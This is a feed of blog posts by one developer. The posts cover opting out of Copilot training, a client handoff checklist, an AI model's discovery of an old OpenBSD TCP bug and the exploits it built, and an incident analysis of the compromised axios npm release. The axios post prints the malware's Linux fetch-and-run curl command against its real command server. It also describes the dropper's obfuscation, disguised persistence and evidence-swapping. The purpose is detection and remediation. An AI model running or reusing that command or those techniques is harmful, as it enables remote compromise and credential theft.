Forem: VIKAS

GitHub Copilot is Training on Your Code; Opt Out Before April 24 or Lose the Choice

VIKAS — Mon, 20 Apr 2026 14:43:16 +0000

⚠️ Deadline: April 24, 2026. After this date, opting out becomes significantly harder and some data collection may be retroactively applied. This takes 90 seconds to fix. Don't skip it.

I almost missed this.

Buried inside a GitHub policy update — the kind most developers scroll past while grabbing their morning chai — was a line that made me stop cold:

"Your code interactions with GitHub Copilot may be used to improve our AI models unless you explicitly opt out."

Not a notification. Not a banner. A policy page update.

And the opt-out window? April 24.

I'm a MERN developer. I build client apps, SaaS platforms, internal tools. Some of that code is under NDA. Some of it has business logic my clients paid good money to develop. The idea that it could silently feed a training pipeline — without my explicit yes — is not okay.

Here's everything you need to know.

What Actually Changed

GitHub updated its Copilot Terms of Service to expand the scope of what "telemetry" means. Previously, only code suggestions you accepted were potentially logged. The updated policy covers:

Code context sent to Copilot for suggestion generation
Your accept/reject patterns on suggestions
The surrounding file content used as context window input
Chat interactions in Copilot Chat

This applies to individual accounts, organization accounts, and — critically — private repositories unless you've explicitly disabled the relevant settings.

The training opt-out specifically refers to whether GitHub can use this telemetry to improve future Copilot models.

Why Developers Are Missing This

Three reasons:

1. Policy fatigue. We accept ToS updates constantly. GitHub sent this as a policy changelog notification, not a product alert. Most devs dismissed it.

2. Default is opt-in. GitHub set the default state to allow training. You have to take action to stop it. This is a common dark pattern — and it works.

3. The deadline isn't obvious. The April 24 date doesn't appear in the notification subject line. You have to read the full policy to find it.

What's Actually at Risk

Let's be specific. If you're a freelancer or studio (like I am at Zyklabs), your risk profile includes:

What's exposed	Why it matters
Client business logic	Competitive IP, NDA violations
API keys in context	If accidentally included in a prompt
Database schemas	Architecture patterns, table structures
Auth flows	Security-relevant implementation details
Unreleased feature code	Product roadmap exposure

For solo devs building personal projects, the stakes are lower. But for anyone doing client work or building a product — this matters.

How to Opt Out (Individual Account)

This takes under 2 minutes.

Step 1: Go to your GitHub Settings

github.com → Your Avatar (top right) → Settings

Step 2: Navigate to Copilot settings

Settings → Copilot (left sidebar) → Features → Privacy

Step 3: Find "Allow GitHub to use my code snippets for product improvements"

Set this to Disabled.

Step 4: Find "Allow GitHub to use my data for AI model training"

Set this to Disabled.

Step 5: Save changes.

Done. Your future interactions are excluded from training data.

How to Opt Out (Organization Admin)

If you manage an org — and your team is using Copilot Business or Enterprise — you need to do this at the org level too. Individual settings don't override org-level defaults.

Step 1: Go to your Organization Settings

github.com → Your Org → Settings → Copilot

Step 2: Under "Policies", find the AI training permission toggles

Step 3: Set both training-related options to No Policy (gives members control) or Disabled (forces opt-out for everyone)

Step 4: Communicate this to your team. Individual devs may still have their personal settings active.

What About Code Already Sent?

Here's the uncomfortable part: GitHub's policy doesn't clearly specify whether opting out removes previously collected telemetry from training pipelines. The language around data retention is vague.

What opting out does guarantee: no new data from your account will be used after the opt-out is processed.

For retroactive deletion, you'd need to submit a formal data deletion request under GDPR (if you're in a qualifying region) or GitHub's privacy request process. That's a separate step.

Should You Stop Using Copilot?

No. That's not what this is about.

Copilot is still a genuinely useful tool. I use it. Most of my team uses it. The issue isn't the product — it's the default being opt-in for training, without a clear user-facing alert.

The fix is simple: opt out of training, keep using the tool.

What you're opting out of is your code being used as training data for future model versions. Copilot still works exactly the same way after you do this. Your suggestions aren't affected. Your Copilot Chat still works.

The Bigger Pattern to Watch

This isn't unique to GitHub. Over the past 18 months, we've seen similar moves from:

JetBrains AI Assistant — opt-out for telemetry added post-launch
VS Code + Microsoft Copilot — training data scope quietly expanded
npm (the axios incident) — supply chain trust is eroding across the board

The pattern: launch a developer tool with generous defaults, quietly expand data collection scope in a policy update, set opt-out as the non-default path.

If you're a developer in 2026, reviewing the privacy/training settings of every AI tool in your workflow is now maintenance work. Add it to your quarterly checklist.

TL;DR — Do This Right Now

Go to github.com → Settings → Copilot → Policies
Disable "Use my code for product improvements"
Disable "Use my Copilot interactions for AI training"
If you're an org admin: do the same at org level
Deadline: April 24, 2026

90 seconds. Go.

Building web apps and SaaS products at Zyklabs. I write about real security issues, MERN development, and things that actually affect how we build.

Found this useful? Drop a comment — I'm especially curious if anyone has tried the formal data deletion route and what that process looked like.

My Pre-Launch Checklist Before Handing Off Any Client We

VIKAS — Sun, 12 Apr 2026 18:15:35 +0000

After shipping 10+ web apps for founders and SMEs, I've noticed something.

Most post-launch fires aren't technical failures. They're checklist failures. Things nobody caught because everyone assumed someone else did.

This is the exact list I run through before every client handoff at Zyklabs. Some of these take 5 minutes. Some take an hour. All of them have saved me at least once.

1. Environment and Config Hygiene

The number one source of "works on my machine" disasters.

[ ] All .env variables documented in ENV_SCHEMA.md
[ ] No hardcoded API keys, secrets, or base URLs anywhere in the codebase
[ ] NODE_ENV=production confirmed in deployment settings
[ ] Separate env files for staging vs production
[ ] Secrets stored in the platform vault (Vercel, Railway, etc.), not in the repo

Real case: Found Razorpay test keys going live on a production deployment. No transactions processed, but it could have. Caught it on this exact step.

2. Performance Baseline

You need numbers before handoff. Not a feeling that it seems fast.

[ ] Lighthouse Performance score above 85
[ ] LCP (Largest Contentful Paint) under 2.5s
[ ] No render-blocking scripts in <head>
[ ] Images converted to WebP, using next/image with correct sizes prop
[ ] Fonts loaded via next/font or preloaded to avoid layout shift (CLS under 0.1)
[ ] Bundle analyzer run, no accidental heavy imports

# Quick audit options
npx @next/bundle-analyzer
npx unlighthouse --site https://yourclientsite.com

3. SEO Minimum Viable Setup

Google crawls on Day 1 whether you're ready or not.

[ ] Unique <title> and <meta description> on every page
[ ] robots.txt not accidentally blocking crawlers
[ ] sitemap.xml generated and submitted to Search Console
[ ] OG tags set: og:image, og:title, og:description
[ ] Canonical URLs configured to avoid duplicate content issues
[ ] No broken internal links (run broken-link-checker before pushing)

For Next.js App Router projects:

// app/layout.tsx
export const metadata = {
  title: 'Client App | Brand Name',
  description: 'Clear description under 155 characters with primary keyword.',
  openGraph: {
    images: ['/og-image.jpg'],
  },
}

4. Security Headers

30 minutes of config work. Prevents a class of embarrassing vulnerabilities.

[ ] Content-Security-Policy header set
[ ] X-Frame-Options: DENY (prevents clickjacking)
[ ] X-Content-Type-Options: nosniff
[ ] Strict-Transport-Security (HSTS) enabled
[ ] HTTPS enforced, no HTTP fallback
[ ] Admin routes protected at middleware level, not just the frontend

// next.config.js
const securityHeaders = [
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload',
  },
]

5. Email and Transactional Flows

Test every email. Every single one. Don't assume.

[ ] Signup confirmation hits inbox, not spam
[ ] Password reset flow works end-to-end in production
[ ] Order/booking confirmation tested with real data
[ ] SPF, DKIM, DMARC records set on the sending domain
[ ] "From" address is domain-based (not @gmail.com)
[ ] Email footer includes unsubscribe link and physical address

Tool: Use mail-tester.com before going live. Score of 9+/10 is the target. Anything below 7 and you're probably landing in spam.

6. Error Tracking and Monitoring

You can't fix what you can't see in production.

[ ] Sentry (or equivalent) initialized and sending events
[ ] Source maps uploaded so stack traces are readable
[ ] Custom 500 error page, not the default framework page
[ ] Custom 404 page with navigation back to home
[ ] API errors return correct HTTP status codes (not 200 with an error body)
[ ] Uptime monitor set up (UptimeRobot free tier covers this fine)

7. Database and Data Safety

The one category people rush through because they're excited to ship.

[ ] Backups enabled, and restore has been tested (not just backup)
[ ] No direct DB access from the frontend, always through the API layer
[ ] Server-side input validation on all user-facing fields
[ ] Indexes on all queried fields
[ ] Rate limiting on auth endpoints: login, signup, password reset

Backup you've never tested is not a backup. Restore it once in staging before launch.

8. Cross-Device QA

Done is not done until it works on a real phone.

[ ] Tested on an actual mobile device, not just browser devtools
[ ] All forms work on iOS Safari (it has specific input quirks)
[ ] Touch targets are at least 44px
[ ] No horizontal scroll on mobile viewports
[ ] Loading states exist for every async action

9. Handoff Documentation

This is what separates a studio from a one-off freelancer job.

[ ] README.md covers: local setup, env variables, deployment steps
[ ] Architecture diagram included (even a rough one)
[ ] Credentials stored in a password manager, not sent over email or Notion
[ ] Domain, hosting, and third-party service access transferred to client
[ ] Post-launch support window communicated and agreed on in writing

The Full Scorecard

Category	Items	Approx Time
Env and Config	5	15 min
Performance	6	30 min
SEO	6	20 min
Security Headers	6	30 min
Email Flows	6	45 min
Error Tracking	6	20 min
Database	5	20 min
Cross-Device QA	5	30 min
Documentation	5	60 min
Total	50 items	~4 hours

Four hours before launch. That's it.

Most teams skip this and spend four days firefighting after launch instead. The math is pretty obvious.

The difference between a client who refers you to three others and one who quietly never calls back often comes down to what you caught before they did.

Run the checklist. Every time.

We run this on every project at Zyklabs, a web dev studio building MVPs, SaaS platforms, and storefronts for founders and SMEs across India. If you're building something and want a team that sweats the details, reach out. 🙌

An AI Found a 27-Year-Old Bug in OpenBSD- The Most Security-Hardened OS on Earth

VIKAS — Sat, 11 Apr 2026 16:35:31 +0000

"If OpenBSD has a 27-year-old bug, what's hiding in your codebase?"

On April 7, 2026, Anthropic announced something that made the entire security community stop scrolling.

Their new model — Claude Mythos Preview — had autonomously found a 27-year-old vulnerability sitting inside OpenBSD's TCP stack.

Not Linux. Not Windows. Not some legacy enterprise COBOL blob.

OpenBSD. The operating system that has had only two confirmed remote holes in its default install in its entire history. The OS that runs firewalls, SSH servers, and critical infrastructure for governments and enterprises worldwide. The OS where code review isn't a suggestion — it's a religion.

That's where the bug lived. Since 1998. And no human, fuzzer, or static analyzer ever found it.

Claude Mythos did. In a matter of hours. Autonomously. For under $50 in compute.

Let's get into exactly what happened.

🐡 First: Why Does OpenBSD Even Matter?

Quick context for developers who haven't touched BSD.

OpenBSD is a free Unix-like operating system forked from NetBSD in 1995. Its entire identity is built around one thing: proactive security. Not just "we patched it when someone reported it" — but "we audit everything before it ships and we assume the attacker is smarter than us."

OpenBSD invented or popularized:

pledge(2) and unveil(2) — syscall and filesystem sandboxing built into every process
pf — the packet filter now used inside macOS, pfSense, OPNsense, and FreeBSD
OpenSSH — yes, that OpenSSH, running on virtually every server on earth
W^X (Write XOR Execute) memory protection — years before mainstream adoption
Stack canaries, ASLR, and kernel relinking on every boot

When OpenBSD says their default install has had two remote holes in its entire history, they mean it. This isn't marketing. It's a 30-year track record.

So when an AI finds a remotely-exploitable bug that's been sitting there since 1998 — it matters.

🔍 The Bug: TCP SACK Integer Overflow

Here's the actual technical breakdown, straight from Anthropic's red team writeup.

Background: What is SACK?

TCP's Selective Acknowledgment (SACK) was proposed in RFC 2018 in October 1996. The problem it solved: if you send packets 1–20 and the receiver only gets 1–10 and 15–20, old TCP would make you resend everything from 11 onward. SACK lets the receiver say "I got 15–20, just resend 11–14." Huge performance improvement. Every major TCP implementation added it.

OpenBSD added SACK support in 1998.

The Two-Flaw Interaction

The vulnerability requires two independent flaws to interact. Neither flaw alone causes a crash. Together, they do.

Flaw 1: No lower-bound validation on SACK ranges.

OpenBSD tracks SACK state as a singly linked list of "holes" — byte ranges sent but not yet acknowledged. When a new SACK block arrives, the kernel walks this list shrinking or deleting holes, then appending a new hole at the tail if needed.

The implementation correctly checked the upper bound of incoming SACK ranges against the send window — but never validated the lower bound. Under normal conditions, this doesn't matter. Real TCP peers never send pathological SACK blocks. But an attacker isn't a real peer.

Flaw 2: Reachable null pointer write.

If a single SACK block simultaneously:

deletes the only hole in the list (triggering the delete path), AND
triggers the append-a-new-hole path (because the new acknowledged range extends past what was previously known)

...then the kernel tries to write to p->next — but p is now NULL because the walk just freed the only node.

Under normal conditions, these two conditions are mutually exclusive. You can't simultaneously satisfy "the SACK block's start is at or below the hole's start" AND "the SACK block's start is strictly above the highest previously acknowledged byte." One number can't be both.

The breakthrough: signed integer overflow.

TCP sequence numbers are 32-bit integers that wrap around. OpenBSD compared them with the expression:

(int)(a - b) < 0

This is correct when a and b are within 2³¹ of each other — which legitimate sequence numbers always are. But because Flaw 1 lets an attacker place the SACK block's start anywhere, they can put it roughly 2³¹ away from the real window.

At that distance, the subtraction overflows the sign bit in both comparisons simultaneously. The kernel concludes the attacker's start is below the hole start and above the highest acknowledged byte at the same time.

The impossible condition is now satisfied. The only hole gets deleted. The append path fires. The kernel writes through a null pointer. Machine crashes.

2 crafted packets → null pointer dereference → kernel panic → remote DoS

Any OpenBSD host responding over TCP was vulnerable. Firewalls. SSH gateways. Web servers. VPN endpoints. All of them.

The Fix

OpenBSD's official 7.8 errata patch 025, dated March 25, 2026, fixed this by:

Adding a lower-bound check on sack.start relative to snd_una
Guarding the append path with an explicit p != NULL check

Two lines. 27 years. Done.

🤖 How Mythos Found It

This is where it gets genuinely fascinating.

Anthropic's red team ran ~1,000 scaffold runs against OpenBSD's source code. Total cost: under $20,000. The specific run that surfaced this bug: under $50.

The $50 figure is technically accurate but misleading — as Anthropic themselves note, you can't know in advance which run will succeed. The $20K total is the honest number.

What's remarkable is how Mythos found it. Every existing automated tool had missed this:

SAST (static analysis): missed it — the logic requires understanding how two separate code paths interact under adversarial integer arithmetic
Fuzzers: missed it — sending random packets won't naturally produce a value exactly 2³¹ away from the current send window
Code audits: missed it — skilled humans reviewed this code for decades and saw two individually-benign conditions

Mythos caught it by reasoning about code semantics — understanding what the code does under adversarial conditions, not just what it looks like. That's a qualitatively different capability from what any previous automated tool has had.

To put this in context:

"In CyberGym's directed vulnerability reproduction tests, Mythos Preview scored 83.1% versus Claude Opus 4.6's 66.6%. On Firefox 147 JavaScript engine testing, Mythos produced 181 full shell exploits. Opus 4.6 produced two."

That's not an incremental improvement. That's a different tool category.

📦 The Bigger Picture: What Else Did It Find?

The OpenBSD bug is the headline, but it's not the only finding.

FFmpeg H.264 Codec — 16 years old

A bug introduced in a 2003 commit, dormant until exposed by a 2010 refactor, survived there since. The slice number 65535 collides exactly with a sentinel value, enabling out-of-bounds writes. Fuzzers ran against this code path 5 million times without triggering it. Mythos caught it by reasoning about what the sentinel means semantically.

Fixed in FFmpeg 8.1 "Hoare", released March 16, 2026.

FreeBSD NFS Server — 17 years old (CVE-2026-4747)

This one is scarier. A stack buffer overflow in the NFS server's authentication request handler. Attacker-controlled data is copied into a 128-byte stack buffer, but the length check allows up to 400 bytes.

Why did fstack-protector miss it? Because the buffer was declared as int32_t[32] — the compiler only inserts stack canaries for functions containing char arrays.

Mythos didn't just find it. It built a 20-gadget ROP chain split across six sequential NFS packets to achieve unauthenticated remote root — fully autonomously, no human involved after the initial prompt.

Linux kernel — multiple LPE chains

Starting from a list of 100 CVEs from 2024–2025, Mythos filtered to 40 exploitable candidates and successfully wrote privilege escalation exploits for more than half. These included KASLR bypasses, cross-cache heap reclamation, and credential structure overwrites. One chain — starting from a 1-bit adjacent physical page write primitive — cost under $1,000 to develop. Human experts said it would have taken weeks.

🌊 The Controversy: Project Glasswing and Restricted Access

Anthropic isn't releasing Mythos to the public. At all.

Instead, they launched Project Glasswing — a coalition of 40+ organizations that get restricted access to use Mythos defensively:

Founding partners include: Amazon Web Services, Apple, Broadcom, Cisco, CrowdStrike, Google, JPMorgan Chase, the Linux Foundation, Microsoft, NVIDIA, and Palo Alto Networks.

Anthropic is committing:

$100 million in Mythos usage credits for defensive security work
$2.5 million to Alpha-Omega through OpenSSF (Linux Foundation)
$1.5 million to the Apache Software Foundation

The criticism from some corners: "This is asymmetric. You've given 40 companies a weapon and told everyone else good luck."

The counterpoint: "Bad actors don't wait for permission. They're already using whatever models they have. Glasswing at least gets defenders ahead of attackers."

The AISLE pushback is worth reading:

Researchers at AISLE tested Anthropic's showcase vulnerabilities on small, open-weights models. Their finding: a 5.1 billion parameter open model recovered the core analysis chain of the 27-year OpenBSD bug. A 3.6B parameter model at 11 cents per million tokens detected 8/8 of Anthropic's showcased vulnerabilities.

Their conclusion: "The moat in AI cybersecurity is the system, not the model."

In other words — Mythos may have announced a new era, but the capability isn't exclusive to Mythos.

📊 The Numbers That Should Keep You Up at Night

From the CrowdStrike 2026 Global Threat Report, cited in the Mythos coverage:

Metric	2022	2026
Average time-to-exploit after disclosure	30 days	5 days
CVEs exploited on/before disclosure day	~5%	32.1%
Average attacker breakout time	~84 min	29 minutes
Fastest observed breakout	hours	27 seconds

And on the defense side:

Median organizational patch window: ~70 days (unchanged since 2022)
Organizations deploying critical patches within 30 days: dropped from 45% → 30%

Offense is accelerating. Defense isn't. That gap is what makes the Mythos announcement genuinely alarming — not the individual bugs, but the structural shift in who finds them, how fast, and at what cost.

🤔 What Should Developers Actually Do?

Practically speaking, from this week's news:

If you run OpenBSD:

# Apply the patch immediately if you haven't
syspatch
# Verify patch 025 is applied
syspatch -l

If you use FFmpeg:

# Update to 8.1+ immediately
# Check your package manager or build system
ffmpeg -version  # should show 8.1 or later

If you run FreeBSD with NFS:
The FreeBSD security advisory for CVE-2026-4747 is out — patch immediately. NFS exposed to untrusted networks is critical severity.

For everyone:

Shorten your patch cycles. The "patch in 70 days" culture is a liability.
Enable auto-updates for critical infrastructure where possible.
Treat CVE-tagged dependency updates as urgent, not scheduled maintenance.
Start thinking about AI-assisted vulnerability scanning as part of your SDLC — because your adversaries already are.

💬 The Bigger Question

Here's what I keep coming back to:

OpenBSD is arguably the most carefully audited open-source codebase in the world. Volunteer developers who read every line before it ships. The project that rewrites code from scratch rather than accept anything with an unacceptable license. The OS whose entire identity is "we take security seriously when nobody else does."

And there was a 27-year-old null pointer dereference in the TCP stack.

Not because the OpenBSD team is bad at their jobs. Because the bug required reasoning about the semantic interaction of two independent code conditions under adversarial integer arithmetic — a class of analysis that human reviewers are structurally bad at and fuzzers can't reach by brute force.

That's the actual shift. Not "AI is better than humans at security." It's "AI reasons differently than humans and fuzzers about code correctness — and that difference surfaces bugs that both approaches systematically miss."

The question isn't whether this changes security. It already has.

The question is: who gets to use it.

📚 Sources & Further Reading

Anthropic's Frontier Red Team blog post on Mythos — the full technical writeup
Project Glasswing announcement — the official coalition page
AISLE: AI Cybersecurity After Mythos — The Jagged Frontier — the most important counterpoint
OpenBSD 7.8 Errata — patch 025 — the actual patch confirming the fix
VentureBeat: Mythos and the New Detection Ceiling — operational implications for security teams

If this made you think differently about legacy codebases, about fuzzing's limits, or about what "security-hardened" actually means in 2026 — drop a ❤️ and share it. The security community needs to be having this conversation seriously, not just breathlessly.

And maybe go check when you last updated your FFmpeg dependency.

axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now

VIKAS — Wed, 01 Apr 2026 11:17:36 +0000

TL;DR — axios@1.14.1 and axios@0.30.4 were compromised on March 31, 2026. A hijacked maintainer account published malicious versions that silently install a Remote Access Trojan on macOS, Windows, and Linux — and self-destruct to avoid detection. If you ran npm install in the last 24 hours, check your system NOW.

The Package That Powers the Internet Just Got Weaponized

axios has over 100 million weekly downloads. It's in nearly every JavaScript project on the planet — startups, enterprises, open source foundations, CI pipelines, and developer laptops. On the morning of March 31, 2026, two versions of it became weapons.

This wasn't a theoretical supply chain vulnerability. It was a live, operational attack. A cross-platform Remote Access Trojan was delivered to real developer machines. And the most terrifying part? npm audit shows nothing. npm list reports a clean version number. The malware self-destructs after running.

This article walks you through exactly what happened, how the attack technically works, how to check if you're compromised, and what permanent changes you should make to your workflow.

What Happened — The Attack Timeline

The operation was pre-staged 18 hours in advance. This was not opportunistic. Every artifact was purpose-built.

Timestamp (UTC)	Event
Mar 30 · 05:57	`plain-crypto-js@4.2.0` published — a clean decoy to establish publishing history
Mar 30 · 23:59	`plain-crypto-js@4.2.1` published — the malicious payload added
Mar 31 · 00:21	`axios@1.14.1` published via hijacked `jasonsaayman` account
Mar 31 · 01:00	`axios@0.30.4` published — legacy 0.x branch also poisoned
Mar 31 · ~03:15	npm unpublishes both malicious versions. `latest` reverts to `1.14.0`
Mar 31 · 03:25	npm initiates security hold on `plain-crypto-js`
Mar 31 · 04:26	npm publishes security-holder stub `plain-crypto-js@0.0.1-security.0`

Both poisoned releases were live for less than 3 hours. But 3 hours is more than enough time with 100M weekly downloads.

Step 1 — Account Hijack: The Entry Point

The attacker compromised the jasonsaayman npm account — the primary maintainer of axios. The account's registered email was changed to an attacker-controlled ProtonMail address: ifstap@proton.me.

Here's what makes this forensically detectable. Every legitimate axios 1.x release uses npm's OIDC Trusted Publisher mechanism — cryptographically tied to a verified GitHub Actions workflow. The malicious 1.14.1 breaks that pattern entirely:

// axios@1.14.0 — LEGITIMATE
"_npmUser": {
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}

// axios@1.14.1 — MALICIOUS
"_npmUser": {
  "name": "jasonsaayman",
  "email": "ifstap@proton.me"
  // No trustedPublisher. No gitHead. No corresponding GitHub commit or tag.
}

There is no commit, no tag, no release in the axios GitHub repository corresponding to 1.14.1. The release exists only on npm. The attacker used a stolen long-lived classic npm access token — not the ephemeral OIDC token used by legitimate CI releases.

Step 2 — The Fake Dependency: `plain-crypto-js@4.2.1`

The actual malware was not inside axios. It was delivered through a phantom dependency.

The attacker added plain-crypto-js: "^4.2.1" to axios's package.json. This package — which never appears in any legitimate axios version — masquerades as the well-known crypto-js library. It clones all 56 source files bit-for-bit from the real crypto-js@4.2.0, making diff-based analysis find nothing suspicious.

The entire difference between the decoy (4.2.0) and the weapon (4.2.1) is three files:

File	In 4.2.0	In 4.2.1
`package.json`	No `scripts` section	`"postinstall": "node setup.js"` added
`setup.js`	Not present	4.2 KB obfuscated RAT dropper
`package.md`	Not present	Clean JSON stub for evidence destruction

The dependency injection diff in axios is equally surgical — exactly one file changed between 1.14.0 and 1.14.1:

# axios/package.json
- "version": "1.14.0",
+ "version": "1.14.1",
  "dependencies": {
    "follow-redirects": "^2.1.0",
    "form-data": "^4.0.1",
    "proxy-from-env": "^2.0.0",
+   "plain-crypto-js": "^4.2.1"
  }

A grep across all 86 files in axios@1.14.1 confirms: plain-crypto-js is never imported or required anywhere in the axios source. Its only purpose is to trigger the postinstall hook.

Step 3 — The RAT Dropper: `setup.js`

setup.js is a minified, obfuscated Node.js file. All sensitive strings — module names, OS identifiers, the C2 URL, shell commands — are stored encoded in an array and decoded at runtime using a two-layer scheme: a XOR cipher followed by base64 decode with string reversal.

Once decoded, the dropper's logic is straightforward and terrifying.

The C2 Server

http://sfrclak.com:8000/6202033

The 6202033 is a campaign tracking ID. The attacker receives separate callbacks per OS using distinct POST bodies:

macOS → packages.npm.org/product0
Windows → packages.npm.org/product1
Linux → packages.npm.org/product2

The packages.npm.org/ prefix is deliberate — it mimics legitimate npm registry traffic in network logs and SIEMs.

Platform-Specific Payloads

macOS — Writes an AppleScript to /tmp/6202033, executes it via nohup osascript, which downloads the RAT binary to /Library/Caches/com.apple.act.mond (named to mimic an Apple system daemon), makes it executable, and launches it via /bin/zsh. The script self-deletes.

Windows — Locates PowerShell via where powershell, copies it to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), writes a VBScript to temp, executes it via cscript //nologo in a hidden window. The VBScript fetches a PowerShell stage-2 payload and self-deletes. %PROGRAMDATA%\wt.exe persists across reinstalls — this is the Windows persistence mechanism.

Linux — Direct curl + Python chain:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
  && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

The Execution Speed

The C2 contact happens 2 seconds into npm install — before npm has finished resolving all dependencies. The nohup process then persists as a detached daemon (re-parented to PID 1) that continues running in subsequent workflow steps, long after npm completes.

Anti-Forensics: The Evidence Swap

After launching the platform payload, setup.js performs three cleanup steps:

Deletes itself — fs.unlink(__filename)
Deletes package.json — removes the file containing "postinstall": "node setup.js"
Renames package.md → package.json — installs the pre-staged clean stub

The clean stub reports version 4.2.0 — not 4.2.1. So after infection:

$ npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0   # ← reports 4.2.0, not 4.2.1. The dropper already ran.

Post-infection, npm audit is clean. npm list looks clean. The only forensic artifact is the existence of the node_modules/plain-crypto-js/ directory — because this package is not a dependency of any legitimate axios version. Its presence alone is proof of compromise.

Am I Affected? — Check Right Now

Run these commands in every project that uses axios:

Step 1 — Check for malicious axios versions

npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"

Step 2 — Check for the dropper directory

ls node_modules/plain-crypto-js 2>/dev/null && echo "⚠️  POTENTIALLY COMPROMISED"

If this directory exists at all, the dropper ran. The version number inside is unreliable — it was replaced with a clean stub.

Step 3 — Check for RAT artifacts

# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "🚨 COMPROMISED"

# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "🚨 COMPROMISED"

# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED

Step 4 — Check your CI/CD history

Review any pipeline logs for npm install runs between March 31 00:21 UTC and March 31 03:15 UTC. Any pipeline that installed axios@1.14.1 or axios@0.30.4 should be treated as compromised and all injected secrets rotated immediately.

Remediation — Step by Step

1. Downgrade to a safe version and pin it

# For 1.x users
npm install axios@1.14.0

# For 0.x users
npm install axios@0.30.3

2. Lock it with overrides to prevent transitive re-resolution

{
  "dependencies": { "axios": "1.14.0" },
  "overrides":    { "axios": "1.14.0" },
  "resolutions":  { "axios": "1.14.0" }
}

3. Remove the malicious package and reinstall clean

rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts

4. If RAT artifacts found — treat as full system compromise

Do not attempt to clean in place. Rebuild from a known-good state and rotate all credentials that were accessible on that system:

npm tokens
AWS / GCP / Azure access keys
SSH private keys
GitHub personal access tokens
All .env file secrets
CI/CD pipeline secrets

5. Block the C2 domain at the network level

# Linux — firewall block
iptables -A OUTPUT -d 142.11.206.73 -j DROP

# macOS/Linux — hosts file block
echo "0.0.0.0 sfrclak.com" >> /etc/hosts

Indicators of Compromise (IOCs)

Malicious npm Packages

Package	Version	SHA
axios	1.14.1	`2553649f232204966871cea80a5d0d6adc700ca`
axios	0.30.4	`d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71`
plain-crypto-js	4.2.1	`07d889e2dadce6f3910dcbc253317d28ca61c766`

Network IOCs

Indicator	Value
C2 domain	`sfrclak.com`
C2 IP	`142.11.206.73`
C2 URL	`http://sfrclak.com:8000/6202033`

File System IOCs

Platform	Path
macOS	`/Library/Caches/com.apple.act.mond`
Windows (persistent)	`%PROGRAMDATA%\wt.exe`
Windows (temp)	`%TEMP%\6202033.vbs`, `%TEMP%\6202033.ps1`
Linux	`/tmp/ld.py`

Safe Versions

Package	Safe Version	SHA
axios	1.14.0	`7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb`
axios	0.30.3	(safe baseline)

What This Attack Teaches Us About Supply Chain Security

This incident is not just an axios story. It's a blueprint that will be reused.

The threat model has fundamentally shifted

The attacker didn't touch your code. They didn't exploit your application. They compromised a package your app trusts unconditionally. Every npm install is an implicit trust decision — and most teams make that decision dozens of times a day without thinking about it.

`npm audit` is not enough

npm audit checks for known CVEs in declared dependencies. It cannot detect a phantom dependency injected at the registry level, especially one that self-destructs its own evidence. Audit gives you a false sense of security for this class of attack.

`postinstall` hooks are the attack surface

The entire kill chain relies on one mechanism: postinstall scripts. npm executes these automatically during npm install. They run with the same permissions as the process that invoked npm — which on a developer machine often means full user-level access to credentials, SSH keys, and cloud tokens.

The permanent fix: `--ignore-scripts` in CI

# In your CI pipeline — add this permanently
npm ci --ignore-scripts

This prevents ALL postinstall, preinstall, and lifecycle scripts from running during automated builds. For most production CI pipelines, you don't need these hooks — and disabling them eliminates the entire attack surface this incident exploited.

Trade-off: Some packages (native modules, Puppeteer, etc.) require postinstall scripts. Audit your dependencies and re-enable specific ones if required.

Prefer OIDC Trusted Publishing over long-lived tokens

The attacker used a stolen long-lived npm access token. The legitimate axios releases used OIDC ephemeral tokens tied to specific GitHub Actions workflows — tokens that cannot be stolen because they expire after a single use.

If you publish packages to npm, configure Trusted Publishing. It makes this exact attack vector impossible.

Lock your dependencies — actually lock them

# Commit your lockfile. Always.
git add package-lock.json
git commit -m "chore: update lockfile"

# Use npm ci in production, not npm install
npm ci  # Respects lockfile exactly. No surprise resolutions.

npm install can resolve to a newer patch version if your semver range allows it. npm ci installs exactly what's in the lockfile. The malicious axios@1.14.1 would have been caught by a lockfile that pinned 1.14.0.

The Broader Picture: This Is Becoming Normal

This is among the most operationally sophisticated supply chain attacks documented against a top-10 npm package. Three OS payloads pre-built. A decoy package published 18 hours early to establish publishing history. A version number spoofing trick in the self-destruct routine. C2 traffic disguised as npm registry communication.

But the playbook itself is not new. We've seen it in event-stream (2018), ua-parser-js (2021), node-ipc (2022), and now axios (2026). Each attack is more sophisticated than the last.

The JavaScript ecosystem's open publishing model is its greatest strength and its greatest liability. Anyone can publish. Maintainers burn out and sell or lose access to their accounts. A package with 100 million weekly downloads can be weaponized in minutes.

The question isn't whether this will happen again. It's whether your team will be ready when it does.

Quick Reference Checklist

□ Checked npm list for axios@1.14.1 and axios@0.30.4
□ Checked for node_modules/plain-crypto-js/ directory
□ Checked for platform-specific RAT artifacts
□ Downgraded to axios@1.14.0 / 0.30.3
□ Added "overrides" block to package.json
□ Removed plain-crypto-js from node_modules
□ Reviewed CI/CD pipeline logs for affected time window
□ Rotated all credentials if dropper ran
□ Added --ignore-scripts to CI pipeline
□ Committed and locked package-lock.json
□ Blocked sfrclak.com at network/DNS level

Resources

Verified and sourced from the official StepSecurity technical analysis published March 31, 2026, and the axios GitHub issue #10604. All IOCs, SHA hashes, timestamps, and code snippets are drawn directly from the primary source investigation.

If this helped you secure your systems, drop a ❤️ and share it with your team. The faster this spreads, the more developers stay protected.

The Only Next.js Beginner Guide You Actually Need

